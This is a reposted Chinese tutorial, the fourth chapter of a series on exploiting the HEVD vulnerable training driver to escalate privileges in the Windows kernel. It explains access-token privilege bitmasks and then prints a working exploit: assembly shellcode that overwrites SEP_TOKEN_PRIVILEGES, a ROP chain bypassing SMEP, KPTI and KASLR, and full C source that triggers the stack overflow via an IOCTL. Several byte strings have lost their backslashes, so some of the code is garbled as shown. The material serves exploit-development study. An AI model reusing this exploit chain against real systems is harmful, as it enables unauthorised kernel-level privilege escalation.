[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限

admin 2024年11月28日21:55:27评论6 views字数 13603阅读45分20秒阅读模式

shellcode 提升权限

在前四章中,我们所做的一切基本上都是利用基于堆栈的缓冲区溢出并绕过一些内核缓解措施。除了内核特定的内存缓解措施外,到目前为止,利用情况一直很普通:没有stack overflow的堆栈溢出。

在这篇最后的文章中,我们将深入研究 Windows 特权机制并使用它来提升我们的特权。然后,我们必须返回用户空间。毕竟,如果计算机马上就要崩溃,那么提升特权或在 ring0 中执行代码是没有用的!问题是我们已经用 ROP 有效载荷破坏了我们的堆栈。更不用说寄存器了:我们已经破坏了它们。恢复它们是不切实际的。这将是我们今天的主要挑战。

特权在 Windows 上的工作原理

很难涵盖 Windows 上的安全性如何工作,甚至特权如何工作。我将在这篇文章中介绍特权的基础知识。稍后我计划再写一篇关于 Windows 安全架构的文章,但根据我目前的文章安排,这可能需要长达一个世纪的时间 ^^(抱歉!)

"A privilege is the right of an account, such as a user or group account, to perform various system-related operations on the local computer, such as shutting down the system, loading device drivers or changing the system time."

这是微软对 Windows 权限的定义。权限与可保护的对象(如文件和文件夹)无关,而是与对系统资源和系统相关任务的访问有关。这些权限可以在 Windows 终端上使用 whoami 命令观察: whoami/priv

当低权限用户检查自己的权限时出现以下情况:

[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限

这里我们看到一个管理员:

[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限

如您所见,有些权限仅对管理员显示。对于每个权限,它可以具有一个状态:启用或禁用。实际上,权限有三种可能的属性:存在、启用和默认启用。程序显示的权限为存在权限 whoami。这些权限可以启用或禁用。但是,如果权限不存在,则可能未启用。状态很简单:如果已启用,则用户可以使用它。否则,必须启用它。“默认启用”属性也很直观,无需解释。

好的,这些权限与用户相关。但是进程呢?

好吧,内核中存储了与每个进程相关联的结构,名为 EPROCESS。它存储了另一个非常重要的数据结构,名为 TOKEN。正如微软所解释的那样,访问令牌对象“包括与进程或线程相关联的用户帐户的身份和权限”。当用户启动新进程(或线程)时,系统将创建其访问令牌的副本并将其存储在进程结构中。如果我们打算提升进程的权限,这就是我们要弄乱的数据结构。

在 token 结构中存储的许多信息中,例如用户帐户的安全标识符 (SID)、用户所属组的 SID、模拟级别等,它实际上存储了用户(或用户组)拥有的权限。这些就是我之前提到的权限!这个家伙是一个数据结构 _SEP_TOKEN_PRIVILEGES,其定义如下:

  1. kd> dt _SEP_TOKEN_PRIVILEGES
  2. nt!_SEP_TOKEN_PRIVILEGES
  3. +0x000 Present : Uint8B
  4. +0x008 Enabled : Uint8B
  5. +0x010 EnabledByDefault : Uint8B

没错!每个权限都由三个位掩码中的一个位表示:存在、启用和默认启用。每个位都是以下列表中的一个权限:

  1. 2: SeCreateTokenPrivilege -> Create a token object
  2. 3: SeAssignPrimaryTokenPrivilege -> Replace a process-level token
  3. 4: SeLockMemoryPrivilege -> Lock pages in memory
  4. 5: SeIncreaseQuotaPrivilege -> Increase quotas
  5. 6: SeMachineAccountPrivilege -> Add workstations to the domain
  6. 7: SeTcbPrivilege -> Act as part of the operating system
  7. 8: SeSecurityPrivilege -> Manage auditing and security log
  8. 9: SeTakeOwnershipPrivilege -> Take ownership of files/objects
  9. 10: SeLoadDriverPrivilege -> Load and unload device drivers
  10. 11: SeSystemProfilePrivilege -> Profile system performance
  11. 12: SeSystemtimePrivilege -> Change the system time
  12. 13: SeProfileSingleProcessPrivilege -> Profile a single process
  13. 14: SeIncreaseBasePriorityPrivilege -> Increase scheduling priority
  14. 15: SeCreatePagefilePrivilege -> Create a pagefile
  15. 16: SeCreatePermanentPrivilege -> Create permanent shared objects
  16. 17: SeBackupPrivilege -> Backup files and directories
  17. 18: SeRestorePrivilege -> Restore files and directories
  18. 19: SeShutdownPrivilege -> Shut down the system
  19. 20: SeDebugPrivilege -> Debug programs
  20. 21: SeAuditPrivilege -> Generate security audits
  21. 22: SeSystemEnvironmentPrivilege -> Edit firmware environment values
  22. 23: SeChangeNotifyPrivilege -> Receive notifications of changes to files or directories
  23. 24: SeRemoteShutdownPrivilege -> Force shutdown from a remote system
  24. 25: SeUndockPrivilege -> Remove computer from docking station
  25. 26: SeSyncAgentPrivilege -> Synch directory service data
  26. 27: SeEnableDelegationPrivilege -> Enable user accounts to be trusted for delegation
  27. 28: SeManageVolumePrivilege -> Manage the files on a volume
  28. 29: SeImpersonatePrivilege -> Impersonate a client after authentication
  29. 30: SeCreateGlobalPrivilege -> Create global objects
  30. 31: SeTrustedCredManAccessPrivilege -> Access Credential Manager as a trusted caller
  31. 32: SeRelabelPrivilege -> Modify the mandatory integrity level of an object
  32. 33: SeIncreaseWorkingSetPrivilege -> Allocate more memory for user applications
  33. 34: SeTimeZonePrivilege -> Adjust the time zone of the computer's internal clock
  34. 35: SeCreateSymbolicLinkPrivilege -> Required to create a symbolic link

值得赞扬的是,这份名单来自这里。谢谢你,波动性基金会。

您可能会发现列表从数字 2 开始,一直到数字 35。为什么它不像计算机科学中的其他一切一样从零开始呢?答案并不明显。答案是如此不明显,我现在还不确定,但我怀疑两个最低有效位一定是零,所以它不会被数字 -1 “误认为” 。如果漏洞允许攻击者以某种方式更改此结构(例如我们正在利用的这个漏洞),则将其设置为 -1 应该更容易。

好的,回到漏洞利用上。我们“所要做的”就是将结构 SEP_TOKEN_PRIVILEGES(位于 TOKEN结构中)的 EPROCESS所有字段(存在、启用和默认启用,尽管最后一个是可选的)更改为 0xffffffffc。

如果我们在内存中找到这个结构并对其进行修改,我们就能提升权限!

编写 shellcode

如上所述,我们必须找到特权结构才能对其进行更改,该结构位于令牌结构内。给定一个结构,使用PsReferencePrimaryToken EPROCESS方法找到主令牌很简单。它将返回令牌!

要使用此方法,我们需要一个 EPROCESS对象。没问题!只要我们为该进程提供一个 PID,PsLookupProcessByProcessId就能给我们提供这个对象。

有了令牌结构,我们必须找到特权结构来修改它。 dtWinDBG 上的命令将显示该结构的偏移量:

[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限

它位于偏移量 0x40 处。太棒了。到目前为止,我们必须采取的步骤如下:

  • 从 PID 中使用 PsLookupProcessByProcessId()函数获取 EPROCESS将提升权限的进程的对象;
  • 从这个 EPROCESS对象中获取 TOKEN结构;
  • 从 TOKEN结构体中获取 SEP_TOKEN_PRIVILEGES偏移量0x40处的结构体;
  • 将此结构的每个字段更改为 0xffffffffc

好吧。让我们写一些汇编代码:

  1. mov rcx, <PID> ;The first argument to PsLookupProcessByProcessId() is the PID number. Will be adjusted dinamically. Rcx on Windows calling convention stores the first argument.
  2. sub rsp, 0x8; The second argument given to PsLookupProcessByProcessId() is the EPROCESS struct to be filled (it is an out argument). I'm reserving 8 bytes for this in the stack.
  3. mov rdx, rsp; Now placing the second argument, which is a pointer to the stack (the 8 bytes we just reserved for this) to rdx. Rdx on Windows calling convention stores the second argument, remember?
  4. movabs rbx, <ADDRESS OF PsLookupProcessByProcessId()> ;
  5. call rbx ; Actually call the function! The EPROCESS structure will be in stack (RSP).
  6. mov rcx, QWORD PTW [rsp] ; Moving RSP to the first and only argument of PsReferencePrimaryToken()
  7. movabs rbx, <ADDRESS OF PsReferencePrimaryToken> ;
  8. call rbx ; Calling PsReferencePrimaryToken! The address for the struct will be on the return value, AKA rax register!
  9. add rax, 0x40; Adjusting the offset. Now rax points directly to SEP_TOKEN_PRIVILEGES.
  10. movabs rcx, 0xfffffffc ; The value of each SEP_TOKEN_PRIVILEGES is moved to rcx.
  11. mov QWORD PTR [rax], rcx ; Now the magic happens! We change the first field in SEP_TOKEN_PRIVILEGES to 0xfffffffc.
  12. add rax, 0x8 ; Next field...
  13. mov QWORD PTR [rax], rcx ; Changing the second field.
  14. add rax, 0x8 ; Final field
  15. mov QWORD PTR [rax], rcx ; Changing the third field.

还有一件事我们应该做,那就是优雅地返回用户空间。

Kristal发现了一种使用sysret返回用户空间的好方法。 Sysret 与 syscall 的关系与 ret 与 call 的关系一样,但有额外的步骤。

实际上,正常返回用户空间后,操作系统会恢复执行上下文并正常返回。Kristal 所做的(我鼓励您阅读他的帖子)是模仿操作系统返回用户空间的方式。他的方法在这里不起作用,因为启用了 KPTI。

Windows 有两种返回方法。一种是 KPTI 被禁用时的方法,另一种是 KPTI 被启用时的方法。据我所知,Kristal 或任何其他人都没有开发出一种 KPTI 被启用时的方法。好吧,我也没有。

Windows 有一个返回用户空间的特定函数。它被称为 KiKernelSysretExit()。我采用的第一个也是最幼稚的方法是跳转到 shellcode 末尾的该函数,让内核完成繁重的工作,而不是我自己在 shellcode 中完成。令我惊讶的是,它确实有效。

[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限

我在 shellcode 中添加了两行:

  1. movabs rbx, <ADDRESS_TO_SYSRET_KERNEL_FUNCTION>;
  2. jmp rbx;

剩下的工作由内核完成!

我使用我儿子的Vinicius出色的shellcoding 工具将我的汇编代码转换为操作码。然后我将其放入变量中并在运行时调整地址。我的 generate_shellcode()函数现在如下所示:

  1. char *generate_shellcode() {
  2. char *shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4e+11); //0x4e+11 is the size of the shellcode
  3. memcpy(shellcode, "x48xc7xc1x78x56x34x12x48x83xecx08x48x89xe2x48xbbx00x00x00x00xffxffxffxffxffxd3x48x8bx0cx24x48xbbx10x32x34x12xffxffxffxffxffxd3x48x83xc0x40x48xb9xfcxffxffxffx00x00x00x00x48x89x08x48x83xc0x08x48x89x08x48x83xc0x08x48x89x08x48x83xc4x08x48xBBxC0x0Dx02x1Bx05xF8xFFxFFxFFxE3", 0x4e+11);
  4. memcpy(shellcode + 3, &pid, 4); // Adjusting the PID
  5. memcpy(shellcode + 16, &kernel_PsLookupProcessByProcessId, 8); //Adjusting the address for PsLookUpProcessByProcessId function
  6. memcpy(shellcode + 32, &kernel_PsReferencePrimaryToken, 8); //Adjusting PsReferencePrimaryToken function address
  7. memcpy(shellcode + 0x4e+1, &kernel_sysret, 8); // Adjusting sysret function address.
  8. return shellcode;
  9. }

轰!成功了!

最后的效果

我运行该漏洞:

[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限

在左侧,我们可以看到我的漏洞的调试消息。在右侧,它生成了一个 CMD,其权限将被提升。我放置了一个 whoami/priv来断言它没有权限。

当我在漏洞终端上按下回车键时,权限就提升了。

[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限

终于!系统没有崩溃,权限也提升了。我会在文章末尾留下完整的源代码。

结论

我们做到了!哎呀,我花了很长时间才写完。我为这么长时间的拖延道歉。从这次练习中,我们可以得出以下几点结论:

  • Windows 内核缓解措施并不那么强大。当您从完整性级别中等或更高级别运行时,Windows 的 KASLR 很容易被绕过。SMEP 很有用,但有一个巧妙的小工具可以轻松绕过它。KPTI 是最难对付的敌人,但可以通过分配可执行池并跳转到它来绕过。
  • 如果我们无法恢复堆栈,我们可以让内核通过调用它自己的退出函数来完成繁重的工作。
  • 汇编编程对于此级别的 shellcoding 非常有用。

希望你喜欢!下次再见。

源代码

  1. #include <iostream>
  2. #include <string>
  3. #include <Windows.h>
  4. #include <Psapi.h>
  5. // Name of the device
  6. #define DEVICE_NAME "\\.\HackSysExtremeVulnerableDriver"
  7. #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
  8. unsigned long long g_add_rsp_20h_ret = 0xa155de;
  9. unsigned long long g_pop_rdi_pop_r14_pop_rbx_ret = 0x20a518;
  10. unsigned long long g_xor_ecx_ecx_mov_rax_rcx_ret = 0x38cf53;
  11. unsigned long long g_pop_rdx_ret = 0x416748;
  12. unsigned long long g_push_rax_pop_rbx_ret = 0x20a263;
  13. unsigned long long g_push_rax_pop_r13_ret = 0x5af724;
  14. unsigned long long g_xchg_r8_r13_ret = 0x2c0da6;
  15. unsigned long long g_mov_rcx_r8_mov_rax_rcx_ret = 0x93ac7a;
  16. unsigned long long g_pop_r8_ret = 0x2017f1;
  17. unsigned long long g_jmp_rbx = 0x408aa2;
  18. unsigned long long kernel_ExAllocatePoolWithTag;
  19. unsigned long long kernel_sysret = 0xa13dc0;
  20. unsigned long long kernel_memcpy;
  21. DWORD pid;
  22. typedef struct sSepTokenPrivileges {
  23. UINT8 present;
  24. UINT8 enabled;
  25. UINT8 enabled_by_default;
  26. } SEP_TOKEN_PRIVILEGES;
  27. typedef NTSTATUS(*_PsLookupProcessByProcessId)(IN HANDLE, OUT PVOID *);
  28. _PsLookupProcessByProcessId kernel_PsLookupProcessByProcessId;
  29. typedef PVOID(*_PsReferencePrimaryToken)(PVOID);
  30. _PsReferencePrimaryToken kernel_PsReferencePrimaryToken;
  31. // Definição do número da IOCTL para o StackOverflow
  32. #define STACK_OVERFLOW_IOCTL_NUMBER IOCTL(0x800)
  33. // Returns kernel base address
  34. unsigned long long get_kernel_base_addr() {
  35. LPVOID drivers[1024];
  36. DWORD cbNeeded;
  37. EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
  38. return (unsigned long long)drivers[0];
  39. }
  40. // Gets the handle for the device driver
  41. HANDLE get_handle() {
  42. HANDLE h = CreateFileA(DEVICE_NAME,
  43. FILE_READ_ACCESS | FILE_WRITE_ACCESS,
  44. FILE_SHARE_READ | FILE_SHARE_WRITE,
  45. NULL,
  46. OPEN_EXISTING,
  47. FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
  48. NULL);
  49. if (h == INVALID_HANDLE_VALUE) {
  50. printf("Failed to get handle =(n");
  51. return NULL;
  52. }
  53. return h;
  54. }
  55. void add_to_payload(char *in_buffer, SIZE_T *offset, unsigned long long *data, SIZE_T size)
  56. {
  57. memcpy(in_buffer + *offset, data, size);
  58. printf("Wrote %lx to offset %un", *data, *offset);
  59. *offset += size;
  60. }
  61. PVOID get_kernel_symbol_addr(const char *symbol) {
  62. PVOID kernelBaseAddr;
  63. HMODULE userKernelHandle;
  64. PCHAR functionAddress;
  65. unsigned long long offset;
  66. kernelBaseAddr = (PVOID)get_kernel_base_addr(); // Loads kernel base address
  67. userKernelHandle = LoadLibraryA("C:\Windows\System32\ntoskrnl.exe"); // Gets kernel binary
  68. if (userKernelHandle == INVALID_HANDLE_VALUE) {
  69. return NULL;
  70. }
  71. functionAddress = (PCHAR)GetProcAddress(userKernelHandle, symbol); // Finds given symbol
  72. if (functionAddress == NULL) {
  73. // Could not find symbol
  74. return NULL;
  75. }
  76. offset = functionAddress - ((PCHAR)userKernelHandle); // Subtracts the loaded binary's base address from the found address. This way, we will find the offset of the symbol for base address 0.
  77. return (PVOID)(((PCHAR)kernelBaseAddr) + offset); // Adds the offset to the leaked base address.
  78. }
  79. void adjust_offsets()
  80. {
  81. unsigned long long kernel_base_addr = get_kernel_base_addr();
  82. g_xor_ecx_ecx_mov_rax_rcx_ret += kernel_base_addr;
  83. g_pop_rdi_pop_r14_pop_rbx_ret += kernel_base_addr;
  84. g_add_rsp_20h_ret += kernel_base_addr;
  85. g_pop_rdx_ret += kernel_base_addr;
  86. g_push_rax_pop_rbx_ret += kernel_base_addr;
  87. g_push_rax_pop_r13_ret += kernel_base_addr;
  88. g_xchg_r8_r13_ret += kernel_base_addr;
  89. g_mov_rcx_r8_mov_rax_rcx_ret += kernel_base_addr;
  90. g_pop_r8_ret += kernel_base_addr;
  91. g_jmp_rbx += kernel_base_addr;
  92. kernel_sysret += kernel_base_addr;
  93. kernel_ExAllocatePoolWithTag = (unsigned long long) get_kernel_symbol_addr("ExAllocatePoolWithTag");
  94. kernel_memcpy = (unsigned long long) get_kernel_symbol_addr("memcpy");
  95. kernel_PsLookupProcessByProcessId = (_PsLookupProcessByProcessId) get_kernel_symbol_addr("PsLookupProcessByProcessId");
  96. kernel_PsReferencePrimaryToken = (_PsReferencePrimaryToken) get_kernel_symbol_addr("PsReferencePrimaryToken");
  97. printf("Primary token: %xu n", (ULONGLONG)kernel_PsReferencePrimaryToken - kernel_base_addr);
  98. printf("PsReferencePrimaryToken base addr: %xun", (ULONGLONG) kernel_PsReferencePrimaryToken - (ULONGLONG) kernel_base_addr);
  99. }
  100. DWORD spawnCmd() {
  101. STARTUPINFO si;
  102. PROCESS_INFORMATION pi;
  103. char cmd[] = "C:\Windows\System32\cmd.exe";
  104. ZeroMemory(&si, sizeof(si));
  105. si.cb = sizeof(si);
  106. ZeroMemory(&pi, sizeof(pi));
  107. // Start the child process.
  108. if (!CreateProcess(NULL, // No module name (use command line)
  109. cmd, // Command line
  110. NULL, // Process handle not inheritable
  111. NULL, // Thread handle not inheritable
  112. FALSE, // Set handle inheritance to FALSE
  113. CREATE_NEW_CONSOLE, // No creation flags
  114. NULL, // Use parent's environment block
  115. NULL, // Use parent's starting directory
  116. &si, // Pointer to STARTUPINFO structure
  117. &pi) // Pointer to PROCESS_INFORMATION structure
  118. )
  119. {
  120. printf("CreateProcess failed (%d).n", GetLastError());
  121. return -1;
  122. }
  123. return pi.dwProcessId;
  124. }
  125. char *generate_shellcode() {
  126. char *shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4e+11);
  127. memcpy(shellcode, "x48xc7xc1x78x56x34x12x48x83xecx08x48x89xe2x48xbbx00x00x00x00xffxffxffxffxffxd3x48x8bx0cx24x48xbbx10x32x34x12xffxffxffxffxffxd3x48x83xc0x40x48xb9xfcxffxffxffx00x00x00x00x48x89x08x48x83xc0x08x48x89x08x48x83xc0x08x48x89x08x48x83xc4x08x48xBBxC0x0Dx02x1Bx05xF8xFFxFFxFFxE3", 0x4e+11);
  128. memcpy(shellcode + 3, &pid, 4);
  129. memcpy(shellcode + 16, &kernel_PsLookupProcessByProcessId, 8);
  130. memcpy(shellcode + 32, &kernel_PsReferencePrimaryToken, 8);
  131. memcpy(shellcode + 0x4e+1, &kernel_sysret, 8);
  132. return shellcode;
  133. }
  134. //Does everything
  135. void do_buffer_overflow(HANDLE h)
  136. {
  137. SIZE_T in_buffer_size = 2072 + 8 * 15 + 0x20;
  138. PULONG in_buffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
  139. memset((char *)in_buffer, 'A', in_buffer_size);
  140. SIZE_T offset = 2072;
  141. pid = spawnCmd();
  142. adjust_offsets();
  143. char *shellcode = generate_shellcode();
  144. unsigned long long size_of_copy = 0x4e+11;
  145. add_to_payload((char*)in_buffer, &offset, &g_xor_ecx_ecx_mov_rax_rcx_ret, 8);
  146. add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
  147. add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
  148. add_to_payload((char*)in_buffer, &offset, &kernel_ExAllocatePoolWithTag, 8);
  149. add_to_payload((char*)in_buffer, &offset, &g_add_rsp_20h_ret, 8);
  150. offset += 0x20;
  151. add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_rbx_ret, 8);
  152. add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_r13_ret, 8);
  153. add_to_payload((char*)in_buffer, &offset, &g_xchg_r8_r13_ret, 8);
  154. add_to_payload((char*)in_buffer, &offset, &g_mov_rcx_r8_mov_rax_rcx_ret, 8);
  155. add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
  156. add_to_payload((char*)in_buffer, &offset, (unsigned long long *)(&shellcode), 8);
  157. add_to_payload((char*)in_buffer, &offset, &g_pop_r8_ret, 8);
  158. add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
  159. add_to_payload((char*)in_buffer, &offset, &kernel_memcpy, 8);
  160. add_to_payload((char*)in_buffer, &offset, &g_jmp_rbx, 8);
  161. system("pause");
  162. printf("Sending buffer.n");
  163. //Sends buffer through IOCTL
  164. bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, (DWORD)in_buffer_size, NULL, 0, NULL, NULL);
  165. if (!result)
  166. {
  167. printf("IOCTL Failed: %Xn", GetLastError());
  168. }
  169. //Frees allocated memory
  170. HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);
  171. }
  172. int main(int argc, char **argv)
  173. {
  174. do_buffer_overflow(get_handle());
  175. system("pause");
  176. }

 

原文始发于微信公众号(sec0nd安全):[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月28日21:55:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限https://cn-sec.com/archives/3447247.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息